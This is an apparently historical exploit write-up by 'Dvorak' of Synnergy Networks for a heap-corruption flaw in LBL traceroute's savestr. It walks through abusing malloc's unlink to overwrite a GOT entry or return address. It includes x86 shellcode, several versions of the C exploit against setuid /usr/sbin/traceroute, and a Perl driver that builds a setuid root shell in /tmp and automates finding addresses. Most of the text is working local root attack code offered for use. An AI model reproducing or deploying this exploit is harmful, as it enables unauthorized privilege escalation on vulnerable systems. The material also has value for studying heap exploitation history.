LBL traceroute exploit.

         By Dvorak, Synnergy Networks
                www.synnergy.net

Vulnerable:
  All versions of LBL traceroute using savestr.
  See Chris Evans post in bugtraq
  (http://www.securityfocus.com/archive/1/136215)
Discovery:
  Pekka Savola (pekkas@netcore.fi)
  Published to bugtraq by: Chris Evans
  (chris@ferret.lmh.ox.ac.uk)
  http://www.securityfocus.com/archive/1/136215
Exploit:
  dvorak (dvorak@synnergy.net)
Exploit successful:
  RH 6.1 RH 6.2 Debian 2.2
Exploit not successful:
  Debian woody (didn't check source)
  Slackware 7.1: non vulnerable traceroute
  
Patches
-------

Should come from your vendor. The flaw was published about two weeks
ago, every vendor should have a patch by now.

Description & Vulnerability
---------------------------

Please take a look at Chris Evans post:
http://www.securityfocus.com/archive/1/136215

Thanks
------
Scrippie (ronald@synnergy.net)
 for the idea about MALLOC_TOP_PAD_ since that got me started again.

Dethy (dethy@synnergy.net)
Emphyrio (Robert van der Meulen, rvdm@cistron.nl)
 both for valuable comments to the text.

Sonnema en dr. Pepper
 for providing the drinks needed to build the exploit.

Exploit + Story
---------------

This text starts with the story about the exploit. The exploit can be found at the
end, but getting it to work might require reading the story.

I won't go into details about malloc internals because i think it's
not needed and you should be able to find that out yourself. (ok
probably closer to the truth is that i can't explain it as clear as
the source of malloc does: i don't understand the malloc internals
well enough to be able to explain it clearly.)

What you should know is that the internals of malloc work with chunks
in which they keep the data. Malloc gives out a pointer to the memory
to the user. These pointers are actually ((char *)chunk)+8, hope that
helps in the explanation. Its possible to get free() to work with
incorrect chunks, which is the base for the exploit.

Using nice ascii it looks like:

chunk
 |
 |
 +--->+--------------
      | prev_size
      +--------------
      | size
 +--->+--------------
 |    | fd  or data
 |    +--------------
 |    | bk  or data
 |    +--------------
 |    | ....
 |
mem

chunk is used as pointer in the internals of malloc while mem is the
pointer given to the user. If the chunk is not being used (that is
the chunk hasn't been given to the user using malloc() or the user
has retunred the chunk) fd and bk are used to hold pointers. If chunk
is in use they are used to hold data.


What happens if free(mem) is called?

First free() converts mem into a chunk ((char *)mem) - 8) on the
Intel. free() then calls chunk_free() to do the rest.

The chunk given to chunk_free() as argument will be called 'p' during
the rest of the text. Using p->prev_size (the size of the previous
chunk) and p->size (the size of chunk p) chunk_free() finds the
previous chunk (called prev from now on) and the next chunk (called
next from now on). It then checks if next and/or prev are chunks
which aren't in use (by checking chunk->size & PREV_INUSE). If they
aren't p is linked into the double linked list of free chunks using
the fd and bk field of prev and/or next.

This linking into the free chunks list is done using the macro
'unlink':

#define unlink(P, BK, FD) \
{                         \
  BK = P->bk;             \
  FD = P->fd;             \
  FD->bk = BK;            \
  BK->fd = FD;            \
}

If we manage to let chunk_free call unlink() with a chunk of which
the fields fd and bk have been filled in by us, we will be able to
change values in memory:

if chunk->fd = (int *) x and chunk->bk = (int *) y
after an unlink() of that chunk
x[3] will be y
and
y[2] will be x

example source:

[dvorak@redhat free]$ cat free.c
void main(void) {
  unsigned int *chunk;
  int i;
  unsigned int shellcode[10];
  unsigned int ret_addr_2_change = 9;

  /* Get some space */
  chunk = malloc(0x8);

  /* now setup the chunk to fool chunk_free()
     By making prev_size negative it will look
         _after_ this chunk in stead of in front of it
       */
  chunk[0] = -0x10;  /* prev_size */
  chunk[1] = 0x8;    /* size */
  chunk[2] = shellcode;   /* fd */
  chunk[3] = shellcode;   /* bk */

  /* set fd to the adres of the return address - 3
     the minus 3 is needed because fd[3] will become bk
     bk will be set to point to our shellcode. Remember that
     bk[2] will be changed to contain fd so that there should be
     a jmp or so in the shellcode to skip that value.
         */
  chunk[4+2] = (int) (&ret_addr_2_change - 3);
  chunk[4+3] = (int) (shellcode);

  /* set shellcode to 0 so that we can see the change */
  memset(shellcode, 0, sizeof(shellcode));

  printf("ret before call: %x\n", ret_addr_2_change);
  printf("address of ret: %x\n", &ret_addr_2_change);
  printf("address of shellcode: %x\n", shellcode);
  /* remember we give mem to free which finds the chunk based on
         that */
  free(chunk+2);

  printf("ret now: %x\n", ret_addr_2_change);
  for (i = 0 ; i < 10; i++) {
    printf("sh: %d : %x\n", i, shellcode[i]);
  }
}
[dvorak@redhat free]$ make free
cc free.c -o free -g
free.c: In function `main':
free.c:8: warning: assignment makes pointer from integer without a
cast
free.c:15: warning: assignment makes integer from pointer without a
cast
free.c:16: warning: assignment makes integer from pointer without a
cast
free.c:1: warning: return type of `main' is not `int'
[dvorak@redhat free]$ ./free
ret before call: 9
address of ret: bffffb44
address of shellcode: bffffb48
ret now: bffffb48
sh: 0 : 0
sh: 1 : 0
sh: 2 : bffffb38
sh: 3 : 0
sh: 4 : 0
sh: 5 : 0
sh: 6 : 0
sh: 7 : 0
sh: 8 : 0
sh: 9 : 0
[dvorak@redhat free]$ exit

As we can see we successfully overwrote the return address with the
address of our shellcode. An extra example is at the end of the text
(main difference is that prev is now located on the stack.) How do
we use this to exploit traceroute ?

First lets look at what we can do with traceroute:

After parsing of the second -g option, just before the call to
freehostinfo() the buffer looks like this:


---------------------------------------------
argument of first -g\x00argument of second -g
------------------------^--------------------
                        |
Free will be called with this address as argument. After calculating
the address of the chunk, free() will call chunk_free(). The pointer
that chunk_free() receives will point to an address which contains
the last 7 bytes of the argument to the first -g option terminated by a
'\0' byte.

What can we put into these 7 bytes? When looking at the source of
traceroute we see that these 7 bytes will be the last 7 bytes of the
argument supplied to the first -g option if and _only if_
inet_addr(argument) or gethostbyname(argument) returns without an
error. A quick look at the source of inet_addr gives us the
information that it will return success with an argument of
"ipaddr_in_dot_notation<space><what ever (binary data for instance)>"


So we basically can get anything in those last 7 bytes except '\0'
bytes. This leads to the following chunk fields:

START of chunk
| prev_size | size      |
XX XX XX XX XX XX XX 00

with XX non zero.

Or converted to int's

p->prev_size = 0xXX XX XX XX with no byte equal to zero.
p->size = 0x00 XX XX XX with the msb equal to zero and the other 3
bytes non zero.

chunk_free finds it's next chunk using:

((char *)p) + (p->size & ~(PREV_INUSE))   // PREV_INUSE = 0x01

next will be searched at 0x00010101 bytes above p at the least or
0x00ffffff bytes above p at most. Unfortunately this will never lead
to next being in addressable memory space so here the exploit attempt
ends.

I was talking this over with Scrippie and he told me to take a look
at some of the runtime parameters of the malloc system. One of these
was the environment variable MALLOC_TOP_PAD_ which is used to pad
sbrk calls. The result of MALLOC_TOP_PAD_ being set to 1000000 is
that more then just the 1024 bytes required by traceroute are
allocated using sbrk. Now next could be in addressable memory. Time
for the real exploit.

First attempt:

The first address should be
"1.2.3.4 \xe0\xff\xff\xff\x01\x01\x01\x00"

chunk_free would lookup 'next' and find it addressable and zero
(which would lead to a crash, at least it seemed to crash because of
did, but looking at the malloc source suggests that is should work
fine). It will then continue to find 'previous' which was -0x20 in
size or located 32 bytes after 'p'. We could set the argument of the
second -g option so that at 32 bytes after 'p' there would be a
correct chunk which would, when used in the unlink(), lead to the
return address being overwritten (and hopefully to root).

The first problem showed immediately. One of the checks in
chunk_free is:

if (next == top(ar_ptr)) with ar_ptr = arena_ptr(p);

Looking at the source of malloc.c one can see that this will lead to
a crash of p points above the last block of malloced memory (ok this
isn't 100% correct but it should suffice for the explanation). The
last block of malloced memory is the block returned by the
malloc(1024) call in savestr.c of traceroute, but this block is
already free()'d after processing the first -g option, so p was
pointing to far in memory. One byte to far to be exact. This was
solved by not using 1.2.3.4 as ip-address but using 1.2.33 instead
(which is legal - look at inet_addr.c).

The exploit at that time looked like this:

/*
  Just some notes to myself while coding told me what to do etc.
  The first argv explains it in more human language the second
  was used by me to try to organize my thoughts.

  argv0: bS

      argv1: -g the ip_address then the fake data for chunk p
  argv1: 1.2.3.4 \xc0\xff\xff\xff\x04\x01\x01\x00

      argv2: -g the ip address then some padding then the fd and bk
               pointers which should give us root.
               The weird calculation for the address of the
               shellcode is because we can't really use nops etc
               because
               part of the code is overwritten (bk[2] = fd ..)
               so we try to calculate where is will be placed
               this calculation turned out to be incorrect ;)
  argv2: 123.123.123.123 addr_2_change_etc shellcode_addres
             (0xc0000000 - 8 - (strlen(argv3) + 1) - (strlen(env) +
1))

      argv3: this argument will be used for the shellcode
             including the extra jmp
  argv3: jmp forward 12 bytes or so + nop nop nop + shellcode

*/

#include <stdio.h>


char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh";

char jmp_forward[] = "\xeb\x0c";

/*
 Stupid and useless function to convert an int to a character array
 what happened to:
 char p[5];
 ((int *)p) = val;
 p[4] = '\0';
 ??
 */
void make_addr(char *res, unsigned int val)
{
  int i;
  char *p = (char *) &val;

  for (i = 0; i < 4; i++)
    res[i] = (char) *p++;
  res[i] = '\0';
}

int main(int argc, char *argv[])
{
  char addr1[1000];
  char addr2[100];
  char execute_me[100];
  char *arg[] = {"./traceroute", addr1, addr2, execute_me, NULL};
  char *env[] = {"MALLOC_TOP_PAD_=1000000", NULL};

  char shell_addr[5];
  char ret_addr[5];

  /* the first argument -g option */
  snprintf(addr1, sizeof(addr1), "-g9.2.3.3 "
                  "\xc0\xff\xff\xff\x04\x01\x01");
  /* yeah I am lazy d0h */
  memset(execute_me, 0x41, 100);
  strncpy(execute_me, jmp_forward, strlen(jmp_forward));
  strcpy(execute_me+20, shellcode);

  /* this calculation is already a little bit better, but
     still not good enough
   */
  make_addr(shell_addr, 0xc0000000 - 8 - (strlen(arg[3]) + 1) -
                        (strlen(env[0]) + 1));
  make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);

  /* another failure.. in addr1 we set p->size to 0xffffffc0 or
     -0x40 so the ret_addr and shell_addr are definitly at the
wrong
     spot, never drink and code is the lesson i guess.
   */

  snprintf(addr2, sizeof(addr2), "-g1.2.3.4 %s %s", ret_addr,
shell_addr);
  /* talking about well hmm misplaced confidence in my own code */
  printf("Going for root!!!\n");
  execve(arg[0], arg, env);
}

Well as you can see in the comments i made an awful lot of stupid
mistakes which all make sure the exploit can't work ;(.

After trying the above exploit i got a crash (how suprising). The
first problem was p being above the highest malloced block so i
changed the ip address of the first -g option to 1.2.33. This
eliminated the first crash.

Looking further into the result of my exploit i noticed something
weird:

p->prev_size and p->size weren't even correct (that is they weren't
0xffffffc0 and 0x00010101) and since both are essential for the
exploit to work i looked further into this behaviour. After adding a
couple of printf's to the traceroute source (i am absolutely no gdb
guru) the following showed:

traceroute-1.4a5]$ ./traceroute -g 245.245.245.245 -g 123.123.123.123
#
the first address of hi->name, this is the address of the buffer
malloced in save_str
#
hi->name: 0804cf18

#
This is what the buffer looks like (well the 10 bytes before and the
first 13 bytes of the buffer) after the first savestr in gethostinfo
#
gethost, savestr:
00 00 00 00 00 00 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32
                              ^
^ is the start of the buffer, just before it you can see the p->size
pointer which is 0x00000409(1033) 1032 for the size (1024 bytes data
and 8 bytes for the size and prev_size fields). The +1 is because the
PREV_INUSE is set.

#
after the calloc(addrs) in gethostinfo
#
gethost, calloc addrs:
00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32

#
The address of hi (struct hostinfo *) is below the address of the
buffer, which is logical because it has been calloc'd earlier then
the malloc(1024) in savestr. The addrs are located above the buffer
because they are calloc'd later.
#
hi: 0804cf08 hi->addrs: 0804d320

#
After the address is filled in into addrs, nothing to see because
addrs is located above the buffer.
#
gethost, calloc addrs filled in:
00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32

#
Back to the getopt loop, just after the return of getaddr(). In
getaddr() the hostinfo struct and addrs have been free'd, as well as
the buffer containing our data.
#
while getopt after getaddr:
00 00 20 d3 04 08 f1 10 00 00 a0 7f 10 40 a0 7f 10 40 32 34 35 2e 32
                              ^
^ is the start of the buffer. As can be seen the contents have
changed, this is because of the free(). Now that p is on the free
list its fd and bk fields are in use and point to other free blocks.
The first 8 bytes will be overwritten with this data and since we are
putting in "1.2.33 etc" the first byte of our fake chunk will be
overwritten (something to keep in mind).

#
After calloc(addrs) for the second -g option the buffer is suddenly
zero'd out. The reason behind this is that the first calloc(addrs)
calloc'd data after our buffer (which was still malloc'd at that
time). Now that the buffer has been free'd the free memory is
assigned to this calloc.
#
 gethost, calloc
addrs:
00 00 18 cf 04 08 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e1

#
Here we see that addrs indeed overlaps with our original buffer.
#
hi: 0804cf08 hi->addrs: 0804cf18

#
Then the converted ip-address gets filled in. And whats more those 4
bytes are under our full control (they represent the parts of the ip-
address given with the second -g option).
#
gethost, calloc addrs filled in:
00 00 18 cf 04 08 11 00 00 00 7b 7b 00 7b 00 00 00 00 00 00 00 00 e1

#
segfault after the second free.
#
Segmentation fault (core dumped)

So what do we have now?

The first 4 bytes of the savestr buffer are under full control. And
what is also nice is that the bytes placed after these 4 byte are
zero as well as the bytes before the 4 bytes.

So what's our next approach?

the buffer will look like this:

00 00 00 xx xx xx xx 00 00 00 00 00 00 00 00 00 00

With xx under our full control. We want to control p->size and
p->prev_size so we should make sure p points somewhere around those
xx's

What's a good place for it to point?

Immediately at the start would be nice, but it would also mean that
p->size is always 0 and thus that next would be the same as p, which
gives less flexibility. The easiest is to let p point to the byte
just before the xx's. That way prev_size would be 0xyyyyyy00 so that
prev could be anywhere in memory (well not completely, the last byte
of it's address can't be chosen but that shouldn't yield problems)
and p->size would be 0x000000xx so that next is at little above 'p'.

To get p to point to that addres free() should be called with p + 8
or (since the xx are at the start of the savestr buffer) the first
argument to -g should place 7 bytes in the buffer (including the \0
byte). The exact value of these bytes doesn't matter since they will
be overwritten.

The second -g option should contain the ip address needed to get the
correct value for p->prev_size and p->size. Next we should set up a
prev record somewhere so that ((char *)p) - p->size should point to
it, and it should contain a next record a little further in the
second -g option.

The new exploit:

/*
  argv0: at first it looks that this doesn't matter but since
             this is the value found at the top of the stack and thus
             it's length matter for the location of the shellcode.

  argv0: bs

      argv1: nothing is needed for this it should just contain
             6 bytes and a 0 (and off course it should be acceptable
             to inet_addr)
  argv1: only specific length
         addr1 will become: 4 bytes from addr2 + zeros
             length so that p->size = last byte + 3 zeros
             p->prev_size = first 3 bytes + 00
             thus: 6 bytes + 0
             p data:
             size = 0x20 or so;
             prev_size = ((char *)p) - ((char *) eleet stack pointer)
             p = addr2 - 7 - 8

             so next data should be on addr2 + 0x20 - 7 - 8
      argv2: this requires much more thought, the ip_address should be
             so that p->prev_size and p->size make sense.
             p->prev_size should be so that prev can be found on the
             stack since that's an easy place to put it, p->size should
             be 0x20 or so so that we can put the next chunk in this
             argument too.
  argv2: ip addres so that: p->size makes sure next is
         somewhere in argv2
    p->prev_size should point to eleet data on stack (through
    environment)
    spacing: next data:
      prev_size = 0x41414141;
      size = 0xfffffff0
      fd = some_random_pointer (or you could use him)
      bk = some_random_pointer
    after that: data for next (prev_size + size + fd + bk)
    prev_size probably negative
      argv3: contains the chunk used for prev and the shellcode
             including the jmp.
  argv3: eleet data on stack + eleet shellcode baby
             eleet data:
             prev_size = BS;
             size = BS
             fd = &ret_addr_change - 12
             bk = shellcode;
             shellcode = jmp forward + nops + code
*/

#include <stdio.h>

/*
easy shellcode - remember there is a certain trick in this baby like
not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
code itself so make sure there is something worthwhile in /tmp/sh
 */
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";

/*
 code to jump forward
 */
char jmp_forward[] = "\xeb\x0c";

/*
 again the stupid make_addr function ;)
 */
void make_addr(char *res, unsigned int val)
{
  int i;
  char *p = (char *) &val;

  for (i = 0; i < 4; i++)
    res[i] = (char) *p++;
  res[i] = '\0';
}

/*
 which argument number contains the leet_addr and the shellcode?
 */
#define LEETARG 7

int main(int argc, char *argv[])
{
  char addr1[1000];
  char addr2[1000];
  char padding[256];
  char execute_me[1000];
  int execute_shift = 0;
  /* next data: prev_size = crap, size=crap and fd and bk
     point to someplace innocent in the stack, if you want
     to you can use it to change a second memory place.
   */
  char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
                    "\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
  char *leet_data;
  /*
   The arguments to start traceroute with, -g separated from its
   argument because of getopt.
   */
  char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
             addr2, "127.0.0.1", "12", execute_me, NULL};
  unsigned int leet_amount;
  /*
   This needs some explanation: since the prev chunk will be at
   a certain distance from p we need to know p since it changes
   from binary to binary we'll let the attacker figure it out
   and give it to us ;).
   */
  unsigned int p = strtoul(argv[2], 0, 0);

  char shell_addr[5];
  char ret_addr[5];

  /* the first addr 6 bytes long */
  snprintf(addr1, sizeof(addr1), "1.2.11");

  /*
   First we fill execute_me (which will make the LEETARG) with
   0x41 thats both a NOP and easy to find on the stack.
   */
  memset(execute_me, 0x41, sizeof(execute_me));

  /*
   We put the shellcode and the jmp at the end of execute_me
   */
  strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
          jmp_forward, strlen(jmp_forward));
  strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
         shellcode);

  /*
   Calculate the address of the shell_code
   the stack at startup looks like:
   arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
   since the environment is gone and LEETARG is the last argument
   we only need the length of the shellcode and the length of arg0
   */
  make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
            (strlen(shellcode) +1 + 20));
  /*
   We also ask the attacker to give the address of the pointer to
   change to point to the shellcode. Something in the GOT is
   usually very nice
   */
  make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);

  /*
   leet_data should be in 0xbfff fe00 + (p & 0xff)
   now we calculate the address where chunk_free() will look for
   prev chunk.
   We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
   the precise position is defined by the lsb of p.
   */
  printf("p: 0x%08x\n", p);
  leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
  printf("leet_data: 0x%08x\n", leet_data);
  /*
   calculate the value of p->prev_size
   */
  leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
  printf("leet_amount: 0x%08x\n", leet_amount);
  
  /* the end of execute_me will be on 0xc0000000 - 8
     length of execute_me should thus be:
     0xc0000000 - leet_data - 8
     2 possibilities: either don't put the fake prev chunk at the
     beginning of execute_me or change the length of execute_me
     we choose the latter.
   */
  execute_shift = sizeof(execute_me) -
    (0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
  printf("execute_shift: %d\n", execute_shift);

  arg[LEETARG] += execute_shift;

  /*
   use strcpy not snprintf since snprintf does 0 terminated its
   strings
   */
  strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
  strncpy(arg[LEETARG]+8, ret_addr, 4);
  strncpy(arg[LEETARG]+12, shell_addr, 4);

  printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
         strlen(arg[0]));
  printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
         strlen(arg[0]) - strlen(arg[LEETARG]) - 2);

  /*
   pad the second -g option to place next chunk on the expected
   position
   */
  memset(padding, ' ', sizeof(padding));

  /*
   0x20 - p->size
   - 7 because thats the size of addr1
   - 8 for p->size and p->prev_size
   - 12 for addr2 (xx.xx.xx.xx )
   */

  padding[0x20 - 7 - 8 - 12] =  '\0';
  printf("padding: %d bytes\n", strlen(padding));

  /*
   put hex equivalent of leet amount in ip_address
   */
  snprintf(addr2, sizeof(addr2),
           "0x%02x.0x%02x.0x%02x.0x%02x%s%s",
           ((unsigned char *) &leet_amount)[1],   
           ((unsigned char *) &leet_amount)[2],   
           ((unsigned char *) &leet_amount)[3],   
           0x20,
           padding, next_data);
  /*
   This time it should work ;)
   */
  printf("Going for root!!!\n");
  execve(arg[0], arg, NULL);
}

Well - that's it a working exploit for traceroute tested under redhat
6.1, 6.2, debian potato if you have problems or solutions for certain
questions raised in this text please contact me.


oops indeed might have forgotten that:

How to get the correct value for p?

$cp /usr/sbin/traceroute ./tra
$ltrace ./tra -g1

ltrace can be found at:
ftp.nluug.nl/pub/os/Linux/distr/debian/dists/stable/main/source/utils/
ltrace.*.tgz

Then look at the return value for the malloc(1024) call substract 1
and voila. Copy the binary first as you can't ltrace a suid binary.

A GOT entry is best as the address to change try exit(), getopt() or
fprintf(). (if you don't know how to get a GOT address though luck,
go read a couple of phracks or so and come back later).

gtx.
   Dvorak (dvorak@synnergy.net)

P.S. I am very interested in any one who can come up with an easier
exploit than this one. For an easier exploit it's needed to overcome
the need for a small first argument at least that's what i think.

P.P.S To exploit debian 2.2: debian has MAXHOSTLEN defined as 64 so
argument 2 is to long: solution: move next chunk forward from 0x40 to
0x20 or so. redhat 6.2 has the same problem therefore i patched the
exploit myself.

O.K. but just once ;)

#!/bin/perl

# build exploit
system("make ex_god");

system("echo 'void main(void) { setuid(0); setgid(0);
execl(\"/bin/sh\", \"sh\", 0);}' > /tmp/sh.c ; make /tmp/sh >
/dev/null 2>/dev/null");

# get p
system("cp /usr/sbin/traceroute ./tra; ltrace -e malloc -o lk ./tra
-g1 > /dev/null 2>/dev/null; rm ./tra");

open F, "<lk";

$line = <F>;
($dummy, $p) = split( /\= /, $line,2);
$p = (hex $p) - 1;
close F;

# get a GOT entry
open F, "objdump -R /usr/sbin/traceroute | grep getopt|";
$line = <F>;
($got, $dummy) = split( / /, $line, 2);
close F;

system("./ex_god 0x$got $p");

--------------------

/*
 An other free example which places part of the chunk on the stack
 */
void main(int argc, char *argv[]) {
  unsigned int *chunk;
  int i;
  unsigned int shellcode[10];
  unsigned int ret_addr_2_change = 9;
  unsigned int stack[1000];
  char *p;

  chunk = malloc(16455*4);
  chunk = chunk + 22;
  printf("malloc: %x\n", chunk);

  /* prev_size */
  chunk[0] = -(((char *) stack) - ((char *) chunk));
  chunk[1] = 0x10;  /* size */
  chunk[2] = -0x10;  /* fd */
  chunk[3] = -0x10;  /* bk */

  printf("re: %p\n", &ret_addr_2_change);
  printf("sh: %p\n", shellcode);


  chunk[4+0] = 0x41414141;  /* next */
  chunk[4+1] = 0xfffffff0;
  chunk[4+2] = (int) (&ret_addr_2_change - 3);
  chunk[4+3] = (int) (shellcode);

  stack[+0] = 0x1;    /* prev */
  stack[+1] = 0x2;    
  stack[+2] = shellcode+5;
  stack[+3] = shellcode+5;

  memset(shellcode, 0, sizeof(shellcode));

  for (i = -4; i < 8; i++)
    printf("chunk: %d: %08x\n", i, chunk[i]);
  free(chunk+2);

  printf("ret now: %x\n", ret_addr_2_change);
  for (i = 0 ; i < 10; i++) {
    printf("sh: %d : %x\n", i, shellcode[i]);
  }
}